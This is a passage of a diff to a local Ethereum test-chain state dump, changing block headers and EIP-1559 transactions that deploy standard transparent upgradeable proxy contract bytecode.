"0xe4ecd65bb8597da48f6c23e8760e98de87284d9d5d69efcc3b72c489c9163e1c", "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "logsBloom": "0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000040000000000000000100000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000040000000200000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "logsBloom": "0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000080000400000000000000000000000000001000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000008000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000420000000000000000000000000000000000000000000000000000000000001000000000100000000000000", "difficulty": "0x0", - "number": "0x15", + "number": "0x4", "gasLimit": "0x1c9c380", - "gasUsed": "0x64cb", - "timestamp": "0x67212bff", + "gasUsed": "0x117e5c", + "timestamp": "0x672a8e17", "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "nonce": "0x0000000000000000", - "baseFeePerGas": "0x5926aba", + "baseFeePerGas": "0x28423117", "blobGasUsed": "0x0", "excessBlobGas": "0x0", "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", @@ -369,18 +369,36 @@ "transaction": { "EIP1559": { "chainId": "0x7a69", - "nonce": "0x1f", - "gas": "0x9368", + "nonce": "0x3", + "gas": "0xb5dcb", "maxFeePerGas": "0x77359401", "maxPriorityFeePerGas": "0x1", - "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", "value": "0x0", "accessList": [], - "input": "0xf2fde38b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "r": "0x51fdc1671286a48495d3af4d1b5fd6bad2e3d25fbf027be013a666f3b5e698bc", - "s": "0x3bfabc59a357de3c51aed3025d9924e12f8c7b589027430904c137a74f498ca6", + "input": "0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000", + "r": "0x7529d088a3ba4413d2b586df694e7c548f6c308de92dadae24c8f3c957cf265", + "s": "0x32a3ee44e10f787805cc8fc748a6012682270d130f7f4dc9c9e6d8811b647656", "yParity": "0x0", - "hash": "0x046411743d2c08a8f69f7117e4aed15eb84999f401e950cafac8436c9d2c04d8" + "hash": "0x3a179753e0b4c5cdd52b7b5c560acb08426c4082500c676cea02d0cc9a77beff" + } + }, + "impersonated_sender": null + }, + { + "transaction": { + "EIP1559": { + "chainId": "0x7a69", + "nonce": "0x4", + "gas": "0xb5dcb", + "maxFeePerGas": "0x77359401", + "maxPriorityFeePerGas": "0x1", + "value": "0x0", + "accessList": [], + "input": "0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000", + "r": "0x4cc5ca3f812ba8e95262f1e2df592a4ec982b98788174457612455c73b075801", + "s": "0x5d99ad3199270ceafd4b197dc3cb09a473991b43aa003d2873f74c7b9297e4d0", + "yParity": "0x0", + "hash": "0xf51ba3a09c1a6df85d2e7e2f400e1425162aa0427b009dc971dc33fdc2a02278" } }, "impersonated_sender": null @@ -390,22 +408,22 @@ }, { "header": { - "parentHash": "0xb9bef2344237e768eb87fd074849abcd5e2acedec69907230bedf80aac4517b3", + "parentHash": "0xfede283911ba375e70bbe42924c1b4680387bc5762aa0a081e0f3b967f9aa6c7", "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", "beneficiary": "0x0000000000000000000000000000000000000000", - "stateRoot": "0x9ac274b89fe52eab7783e301a1dd9337d0950e436d082c40669ca1b64f1255b3", - "transactionsRoot": "0x573fe7e71a428558c19ea5dc106ebdd59c07d1b51a3243f0f9bd4ea9ed385fab", - "receiptsRoot": "0x58b92dbb5e313a188be8d0f6bc86a127d87ad8340156482f230ad5ea529c31f2", + "stateRoot": "0xf0b0783935d48b7175ff6f9cfd2ac59495158f08ae401c0da60869bc89d3d601", + "transactionsRoot": "0x1b9f49e96bd1f91f8b7261396c3592f855ad9a1d42df078b9ec84f415bbc2cd4", + "receiptsRoot": "0x8089bf693ed84c719e29dca767c6d576311fd1937a79151d6c5bc86f9e9bbafa", "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000002000000000000000000000000000000000000000000000000000000100000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000800000000000000000000000000000000000000000000000000000001000000000100000000000000", + "logsBloom": "0x00000000000000000000000000000000400000000000000000000000000000010000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000010000000010000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000040000000000000800000000000000000000000000000000040000000000000000000000000000000008000000020000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000", "difficulty": "0x0", - "number": "0x14", + "number": "0x6", "gasLimit": "0x1c9c380", - "gasUsed": "0xed6a", - "timestamp": "0x67212bff", + "gasUsed": "0x117e5c", + "timestamp": "0x672a8e17", "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "nonce": "0x0000000000000000", - "baseFeePerGas": "0x65d3f67", + "baseFeePerGas": "0x1f7fee1f", "blobGasUsed": "0x0", "excessBlobGas": "0x0", "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", @@ -416,18 +434,36 @@ "transaction": { "EIP1559": { "chainId": "0x7a69", - "nonce": "0x1e", - "gas": "0x15b37", + "nonce": "0x7", + "gas": "0xb5dcb", "maxFeePerGas": "0x77359401", "maxPriorityFeePerGas": "0x1", - "to": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", "value": "0x0", "accessList": [], - "input": "0xdf5b3547000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000", - "r": "0xdaeb2a4acde0a569e0b0c8f5bb5509413a47c007de0f22b2effb3e935bdb203b", - "s": "0x368e5050d975862c128fe3983107c1808f99fb459612cc981d12161d6281731e", - "yParity": "0x1", - "hash": "0xd44073f051108c8f3c39edf183d0bcaea084672b414c2374c6d6750e9ef9fa27" + "input": "0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000", + "r": "0x74864ccefd0948b2a367ae127f95e7a739e6b3cfa17d9daa60b4b694bef144f6", + "s": "0x37fb43d83dbf4b63522a28d209693482b8d8400bc8c06897e93be0c1d0ecc55a", + "yParity": "0x0", + "hash": "0x87e7a0a46d0acf358992c362a7de3a63efb71630952cff29709a7656f78cbd82" + } + }, + "impersonated_sender": null + }, + { + "transaction": { + "EIP1559": { + "chainId": "0x7a69", + "nonce": "0x8", + "gas": "0xb5dcb", + "maxFeePerGas": "0x77359401", + "maxPriorityFeePerGas": "0x1", + "value": "0x0", + "accessList": [], + "input": "0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b0